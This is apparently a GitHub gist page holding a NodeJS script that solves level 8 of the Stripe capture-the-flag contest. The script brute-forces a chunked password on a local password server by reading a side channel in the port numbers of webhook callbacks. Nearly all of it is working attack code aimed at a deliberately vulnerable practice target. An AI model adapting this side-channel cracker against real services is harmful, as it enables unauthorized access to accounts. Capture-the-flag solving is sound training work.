public
Created

A NodeJS Solution to LEVEL08 of the Stripe-CTF (v2)

  • Download Gist
level08-ctf-v2.js
JavaScript
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
var request = require('request'),
http = require('http');
require('sugar');
 
var Cracker = function(){
this.chunk = 0;
this.chunks = [];
this.password = '000000000000';
this.chunkPass = 0;
this.prevPort = null;
this.attempt = 0;
this.maxAttempts = 3;
this.matches = [];
this.matchThreshold = 4;
this.webhooks = ['localhost:9999'];
this.dbServer = 'http://localhost:3000';
this.complete = false;
 
//
// Initialize the Cracker
//
this.initialize = function(){
var self = this;
// Create the Webhook listeners
this.webhooks.each(function(webhook){
http.createServer(function(req, res){
self.process(req.connection.remotePort);
res.end(' ');
}).listen(webhook.split(':')[1]);
});
// Start cracking
this.crackAttempt();
};
 
//
// Process response from Chunk Server
//
this.process = function(remotePort){
var delta = (this.prevPort) ? (remotePort - this.prevPort) : 0;
this.matches.push( delta );
this.prevPort = remotePort;
this.crackAttempt();
};
 
//
// Make requests to the passwordDB server, etc
//
this.crackAttempt = function(){
var self = this;
if(this.complete) return;
if(this.attempt >= this.maxAttempts){
this.attempt = 0;
if(this.foundChunk()){
this.incrementChunk();
} else {
this.matches = [];
if(!this.incrementPassword()) this.incrementChunk();
}
}
this.attempt++;
request({
url: this.dbServer,
method: 'POST',
json: {
password: this.password,
webhooks: this.webhooks
}
}, function(e, r, data){
if(data.success) self.gameOver(); // you win
});
};
 
//
// Start cracking the next Chunk
//
this.incrementChunk = function(){
this.chunk++;
this.chunkPass = 0;
this.prevPort = null;
this.attempt = 0;
this.matches = [];
this.matchThreshold++;
this.incrementPassword();
};
 
//
// General purpose password incrementing with the proper format
//
this.incrementPassword = function(){
this.chunkPass++;
var p = (this.chunkPass).pad(3);
if(this.chunk == 0) this.password = String(p) +'000000000';
if(this.chunk == 1) this.password = this.chunks[0] + String(p) + '000000';
if(this.chunk == 2) this.password = this.chunks[0] + this.chunks[1] + String(p) + '000';
if(this.chunk == 3) this.password = this.chunks[0] + this.chunks[1] + this.chunks[2] + String(p);
if(this.chunkPass > 999) return false;
return true;
};
 
//
// Did we crack a chunk of the password yet?
//
this.foundChunk = function(){
var m = this.matches.most();
process.stdout.write(' Trying password: '+ this.password +"\r");
if(m >= this.matchThreshold){
this.chunks[this.chunk] = (this.chunkPass).pad(3);
return true;
}
return false;
};
 
//
// WOOO!
//
this.gameOver = function(){
process.stdout.write("You Win! \r\n");
process.stdout.write('cracked password: '+ this.password);
this.complete = true;
};
};
 
 
// Let's get crackin'
var Crack = new Cracker();
Crack.initialize();

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.